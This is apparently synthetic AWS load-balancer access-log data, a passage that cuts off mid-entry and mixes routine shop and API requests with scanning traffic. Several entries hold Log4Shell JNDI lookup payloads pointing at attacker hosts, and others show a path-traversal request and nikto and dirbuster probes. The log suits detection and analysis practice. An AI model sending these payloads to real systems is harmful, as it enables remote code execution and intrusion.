3 2024-11-01T02:17:54.982329Z "forward" "-" "-" "10.0.126.136:443" "301" "-" "-" -https 2024-11-01T02:17:56.124925Z prod-api-alb 24.254.12.30:54903 10.0.91.96:443 0.059155 0.320276 0.035792 404 404 61 12329 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7e4-6449c3f6c40543e6a7f4d31f" "prod-api-alb.example.com" "-" 1 2024-11-01T02:17:56.124925Z "forward" "-" "-" "10.0.91.96:443" "404" "-" "-" -https 2024-11-01T02:17:56.942791Z prod-web-alb 45.155.205.243:26424 10.0.224.62:443 0.088730 0.188759 0.055951 404 404 39 8697 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7e4-aeb3983d04d2421d86751888" "-" "-" 8 2024-11-01T02:17:56.942791Z "forward" "-" "-" "10.0.224.62:443" "404" "-" "-" -https 2024-11-01T02:17:57.677673Z prod-web-alb 6.185.141.191:57834 10.0.99.88:443 0.045432 0.411169 0.042704 200 200 820 10246 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7e5-7e617e0e079d4b9898c276c8" "prod-web-alb.example.com" "-" 6 2024-11-01T02:17:57.677673Z "forward" "-" "-" "10.0.99.88:443" "200" "-" "-" -https 2024-11-01T02:17:59.499028Z prod-web-alb 229.208.140.147:29587 10.0.58.212:443 0.058327 0.244807 0.079841 200 200 433 13165 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7e7-65d67c4ea6154e36afdfeab5" "prod-web-alb.example.com" "-" 6 2024-11-01T02:17:59.499028Z "forward" "-" "-" "10.0.58.212:443" "200" "-" "-" -https 2024-11-01T02:18:00.399372Z prod-web-alb 20.98.33.81:24225 10.0.126.16:443 0.028999 0.499982 0.063142 200 200 149 10890 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7e8-16ad22fe9889458dba2a848f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:18:00.399372Z "forward" "-" "-" "10.0.126.16:443" "200" "-" "-" -https 2024-11-01T02:18:01.724384Z prod-api-alb 62.147.37.153:33103 10.0.126.63:443 0.053920 0.222530 0.026129 200 200 157 14490 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7e9-033c728b0c254431887ea74f" "prod-api-alb.example.com" "-" 3 2024-11-01T02:18:01.724384Z "forward" "-" "-" "10.0.126.63:443" "200" "-" "-" -https 2024-11-01T02:18:02.943241Z staging-alb 197.7.30.215:24535 239.96.35.209:8080 0.037176 0.275826 0.082696 200 200 492 5043 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7ea-2c0ba97bbd0540a58ad8d3c8" "staging-alb.example.com" "-" 4 2024-11-01T02:18:02.943241Z "forward" "-" "-" "239.96.35.209:8080" "200" "-" "-" -http 2024-11-01T02:18:03.306409Z staging-alb 250.44.220.61:52157 245.245.121.201:80 0.131628 0.474759 0.031358 301 301 764 10873 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7eb-c61e4f279a384e89baa67e76" "staging-alb.example.com" "-" 3 2024-11-01T02:18:03.306409Z "forward" "-" "-" "245.245.121.201:80" "301" "-" "-" -https 2024-11-01T02:18:03.747670Z staging-alb 117.170.30.226:15993 173.230.66.227:443 0.021988 0.575666 0.096493 200 200 490 12581 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7eb-993d14d5631f4c0aa0cfd2b3" "staging-alb.example.com" "-" 1 2024-11-01T02:18:03.747670Z "forward" "-" "-" "173.230.66.227:443" "200" "-" "-" -http 2024-11-01T02:18:05.576800Z staging-alb 118.158.111.232:21789 26.247.85.229:80 0.071155 0.656422 0.110441 404 404 538 3302 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7ed-f05bd5d312914d2ea77c1f72" "staging-alb.example.com" "-" 4 2024-11-01T02:18:05.576800Z "forward" "-" "-" "26.247.85.229:80" "404" "-" "-" -https 2024-11-01T02:18:07.436974Z prod-api-alb 179.254.235.8:30919 10.0.188.44:443 0.062145 0.132301 0.063207 302 302 717 5473 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7ef-d517510ee36545fd9ae5c9e9" "-" "-" 6 2024-11-01T02:18:07.436974Z "forward" "-" "-" "10.0.188.44:443" "302" "-" "-" -http 2024-11-01T02:18:07.698972Z staging-alb 193.27.228.118:27217 178.165.157.241:443 0.040059 0.107446 0.100215 404 404 532 11699 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7ef-bdb1e9cae13b4284905c8856" "-" "-" 10 2024-11-01T02:18:07.698972Z "forward" "-" "-" "178.165.157.241:443" "404" "-" "-" -https 2024-11-01T02:18:08.622191Z prod-api-alb 220.47.205.238:21222 10.0.161.123:443 0.086299 0.047008 0.014413 200 200 467 10284 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7f0-9804993138624bb8ac0ae98f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:18:08.622191Z "forward" "-" "-" "10.0.161.123:443" "200" "-" "-" -http 2024-11-01T02:18:08.866006Z staging-alb 162.5.250.236:18226 216.227.253.181:8080 0.075472 0.690684 0.044996 200 200 659 1376 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7f0-0b763df48ec0499894cae3b6" "staging-alb.example.com" "-" 5 2024-11-01T02:18:08.866006Z "forward" "-" "-" "216.227.253.181:8080" "200" "-" "-" -https 2024-11-01T02:18:10.465149Z prod-web-alb 134.123.122.64:54098 10.0.51.172:443 0.079819 0.068270 0.034168 200 200 110 13522 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7f2-e40dc779487e44a8b92881dc" "prod-web-alb.example.com" "-" 1 2024-11-01T02:18:10.465149Z "forward" "-" "-" "10.0.51.172:443" "200" "-" "-" -https 2024-11-01T02:18:12.096332Z prod-api-alb 181.57.229.252:60946 10.0.187.151:443 0.045026 0.144181 0.085446 200 200 347 12260 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7f4-c6e9d114858f412b9ac1343a" "prod-api-alb.example.com" "-" 0 2024-11-01T02:18:12.096332Z "forward" "-" "-" "10.0.187.151:443" "200" "-" "-" -https 2024-11-01T02:18:14.036327Z prod-web-alb 183.151.20.195:14018 10.0.139.13:443 0.020067 0.284403 0.001592 200 200 252 3846 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7f6-aa82011136f649b080c232e1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:18:14.036327Z "forward" "-" "-" "10.0.139.13:443" "200" "-" "-" -http 2024-11-01T02:18:15.214519Z staging-alb 43.224.2.226:46879 17.27.88.172:8080 0.103722 0.183584 0.143294 200 200 26 14143 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7f7-1af3c14270cc4115b378777c" "-" "-" 2 2024-11-01T02:18:15.214519Z "forward" "-" "-" "17.27.88.172:8080" "200" "-" "-" -https 2024-11-01T02:18:16.143142Z prod-web-alb 47.176.175.179:41863 10.0.13.14:443 0.012811 0.361788 0.092566 200 200 319 1074 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7f8-54bc18f6c37249a1bdd8bfe7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:18:16.143142Z "forward" "-" "-" "10.0.13.14:443" "200" "-" "-" -http 2024-11-01T02:18:17.332425Z staging-alb 187.107.179.241:56633 165.154.107.211:80 0.027752 0.254519 0.129908 200 200 866 2180 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7f9-062dc260984b4c3380da89c4" "staging-alb.example.com" "-" 8 2024-11-01T02:18:17.332425Z "forward" "-" "-" "165.154.107.211:80" "200" "-" "-" -https 2024-11-01T02:18:17.466668Z prod-web-alb 236.243.7.244:36112 10.0.63.100:443 0.095446 0.196852 0.090717 302 302 173 6673 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7f9-bc1ab33b312d460dac172212" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:17.466668Z "forward" "-" "-" "10.0.63.100:443" "302" "-" "-" -https 2024-11-01T02:18:19.067324Z prod-api-alb 19.32.9.186:32033 10.0.220.200:443 0.058382 0.424767 0.070004 404 404 859 10633 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7fb-3a23a30869914b0083ca4224" "prod-api-alb.example.com" "-" 2 2024-11-01T02:18:19.067324Z "forward" "-" "-" "10.0.220.200:443" "404" "-" "-" -https 2024-11-01T02:18:20.145082Z prod-api-alb 59.212.105.188:13067 10.0.2.23:443 0.034523 0.105050 0.061737 200 200 441 5479 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7fc-4da7b34119174232a1d56504" "prod-api-alb.example.com" "-" 9 2024-11-01T02:18:20.145082Z "forward" "-" "-" "10.0.2.23:443" "200" "-" "-" -http 2024-11-01T02:18:21.456580Z staging-alb 45.155.205.44:53611 31.71.248.10:443 0.013116 0.047411 0.142959 500 500 754 10371 "GET /debug/pprof HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7fd-beefe619a49a47448ea4ba59" "-" "-" 4 2024-11-01T02:18:21.456580Z "forward" "-" "-" "31.71.248.10:443" "500" "-" "-" -https 2024-11-01T02:18:22.132037Z prod-api-alb 19.242.179.175:17949 10.0.169.184:443 0.099902 0.364927 0.031073 200 200 386 7337 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7fe-474e3e378c724f1fba7c6842" "prod-api-alb.example.com" "-" 10 2024-11-01T02:18:22.132037Z "forward" "-" "-" "10.0.169.184:443" "200" "-" "-" -http 2024-11-01T02:18:23.884502Z staging-alb 205.194.38.169:58723 18.118.128.180:8080 0.015854 0.238514 0.045153 200 200 37 447 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7ff-698115a06b404987817ce02a" "staging-alb.example.com" "-" 1 2024-11-01T02:18:23.884502Z "forward" "-" "-" "18.118.128.180:8080" "200" "-" "-" -http 2024-11-01T02:18:25.221029Z staging-alb 97.75.28.154:60713 73.158.250.252:80 0.082426 0.168923 0.077709 302 302 847 8714 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d801-263fcab3b75f489388a130ae" "staging-alb.example.com" "-" 9 2024-11-01T02:18:25.221029Z "forward" "-" "-" "73.158.250.252:80" "302" "-" "-" -https 2024-11-01T02:18:26.151310Z prod-web-alb 216.182.163.152:46781 10.0.40.227:443 0.049055 0.247133 0.084578 404 404 704 8648 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d802-ca2a54f8e5504e78ace491ca" "prod-web-alb.example.com" "-" 7 2024-11-01T02:18:26.151310Z "forward" "-" "-" "10.0.40.227:443" "404" "-" "-" -https 2024-11-01T02:18:26.614896Z prod-api-alb 42.35.146.145:19971 10.0.225.177:443 0.099240 0.192749 0.034128 404 404 127 13456 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d802-70fcfce8a74f4626bfd8b5c7" "prod-api-alb.example.com" "-" 6 2024-11-01T02:18:26.614896Z "forward" "-" "-" "10.0.225.177:443" "404" "-" "-" -https 2024-11-01T02:18:27.367272Z prod-api-alb 45.155.205.86:40473 10.0.21.118:443 0.005678 0.206046 0.084385 403 403 927 1869 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d803-25ee7630503746e5a2f768d4" "-" "-" 9 2024-11-01T02:18:27.367272Z "forward" "-" "-" "10.0.21.118:443" "403" "-" "-" -https 2024-11-01T02:18:27.604907Z prod-api-alb 7.6.188.53:50000 10.0.205.179:443 0.004808 0.266592 0.065373 302 302 995 13660 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d803-fcefafdfb87e461faf17ae37" "prod-api-alb.example.com" "-" 8 2024-11-01T02:18:27.604907Z "forward" "-" "-" "10.0.205.179:443" "302" "-" "-" -https 2024-11-01T02:18:28.141769Z prod-web-alb 160.77.108.69:54764 10.0.93.212:443 0.059066 0.059670 0.073773 200 200 390 14807 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d804-1567fb72b8f947fea65e3b71" "prod-web-alb.example.com" "-" 0 2024-11-01T02:18:28.141769Z "forward" "-" "-" "10.0.93.212:443" "200" "-" "-" -https 2024-11-01T02:18:29.360503Z prod-web-alb 166.124.145.123:52923 10.0.79.202:443 0.032318 0.390002 0.067841 200 200 538 10805 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d805-c4fceb2df6c34159af4a7720" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:29.360503Z "forward" "-" "-" "10.0.79.202:443" "200" "-" "-" -http 2024-11-01T02:18:30.663730Z staging-alb 80.118.70.7:27222 227.15.229.217:80 0.112161 0.495042 0.148383 301 301 453 390 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d806-fc366ea833044a4b9f4a406f" "staging-alb.example.com" "-" 10 2024-11-01T02:18:30.663730Z "forward" "-" "-" "227.15.229.217:80" "301" "-" "-" -https 2024-11-01T02:18:32.026283Z prod-api-alb 204.24.28.211:23930 10.0.183.143:443 0.011249 0.363899 0.085041 200 200 90 6707 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d808-d6cb63175c634e7b9b4bb23e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:18:32.026283Z "forward" "-" "-" "10.0.183.143:443" "200" "-" "-" -https 2024-11-01T02:18:32.745507Z staging-alb 127.125.148.183:35773 35.90.159.243:80 0.136388 0.105038 0.031013 200 200 239 9771 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d808-e643c9e00f9f4d4ba80787a6" "staging-alb.example.com" "-" 0 2024-11-01T02:18:32.745507Z "forward" "-" "-" "35.90.159.243:80" "200" "-" "-" -https 2024-11-01T02:18:33.945679Z staging-alb 225.167.245.164:32864 4.17.252.119:443 0.049899 0.533512 0.039194 301 301 400 3969 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d809-167098025dab4eb6b7930fd8" "staging-alb.example.com" "-" 9 2024-11-01T02:18:33.945679Z "forward" "-" "-" "4.17.252.119:443" "301" "-" "-" -https 2024-11-01T02:18:35.926465Z staging-alb 19.83.208.3:47128 169.209.97.44:443 0.094354 0.104977 0.017114 200 200 780 13493 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d80b-bf73004fd5a547008f9dc5eb" "staging-alb.example.com" "-" 7 2024-11-01T02:18:35.926465Z "forward" "-" "-" "169.209.97.44:443" "200" "-" "-" -http 2024-11-01T02:18:36.298628Z staging-alb 45.155.205.234:44847 231.141.0.1:443 0.014861 0.272314 0.036659 403 403 114 4668 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d80c-47d3cbe79a0141cb857c4355" "-" "-" 9 2024-11-01T02:18:36.298628Z "forward" "-" "-" "231.141.0.1:443" "403" "-" "-" -https 2024-11-01T02:18:38.226521Z staging-alb 107.232.255.20:43565 187.114.16.111:80 0.088188 0.599091 0.111774 302 302 383 10348 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d80e-f2ceec1501974f6086132cf7" "staging-alb.example.com" "-" 8 2024-11-01T02:18:38.226521Z "forward" "-" "-" "187.114.16.111:80" "302" "-" "-" -http 2024-11-01T02:18:38.345675Z staging-alb 111.115.113.28:29152 87.180.128.164:443 0.134848 0.496769 0.143408 302 302 264 3944 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d80e-e117f78a32db404b8fbbd355" "staging-alb.example.com" "-" 2 2024-11-01T02:18:38.345675Z "forward" "-" "-" "87.180.128.164:443" "302" "-" "-" -https 2024-11-01T02:18:38.823726Z prod-api-alb 65.139.205.184:15261 10.0.74.72:443 0.093387 0.160217 0.031237 302 302 613 13268 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d80e-5ae1ddc8677a40c89be186c7" "prod-api-alb.example.com" "-" 2 2024-11-01T02:18:38.823726Z "forward" "-" "-" "10.0.74.72:443" "302" "-" "-" -https 2024-11-01T02:18:40.473073Z staging-alb 131.204.244.247:52773 206.38.14.146:80 0.149372 0.542619 0.047421 200 200 832 13899 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d810-bef4d0b3fb014b0d9baf91c8" "staging-alb.example.com" "-" 6 2024-11-01T02:18:40.473073Z "forward" "-" "-" "206.38.14.146:80" "200" "-" "-" -https 2024-11-01T02:18:42.251267Z prod-api-alb 33.80.57.93:20533 10.0.88.44:443 0.098242 0.024811 0.031652 302 302 823 14027 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d812-ad97932b6ee6486e8c1fb456" "prod-api-alb.example.com" "-" 10 2024-11-01T02:18:42.251267Z "forward" "-" "-" "10.0.88.44:443" "302" "-" "-" -https 2024-11-01T02:18:42.944991Z prod-web-alb 204.206.160.132:22191 10.0.128.69:443 0.026305 0.197092 0.075662 200 200 278 8500 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d812-566a5a2c32794bd58339c3d4" "prod-web-alb.example.com" "-" 2 2024-11-01T02:18:42.944991Z "forward" "-" "-" "10.0.128.69:443" "200" "-" "-" -https 2024-11-01T02:18:44.902002Z prod-api-alb 36.27.236.239:55876 10.0.31.68:443 0.009991 0.413384 0.086253 200 200 567 11268 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d814-746fd229bc0642ba89aeabe7" "prod-api-alb.example.com" "-" 1 2024-11-01T02:18:44.902002Z "forward" "-" "-" "10.0.31.68:443" "200" "-" "-" -http 2024-11-01T02:18:46.653167Z staging-alb 45.199.247.89:35255 185.226.185.89:80 0.061809 0.471568 0.056583 200 200 342 9000 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d816-d32b721f87f346d4a72136f7" "staging-alb.example.com" "-" 0 2024-11-01T02:18:46.653167Z "forward" "-" "-" "185.226.185.89:80" "200" "-" "-" -https 2024-11-01T02:18:48.192145Z prod-web-alb 93.52.211.13:30722 10.0.164.186:443 0.007892 0.398699 0.032891 404 404 403 11271 "GET /products 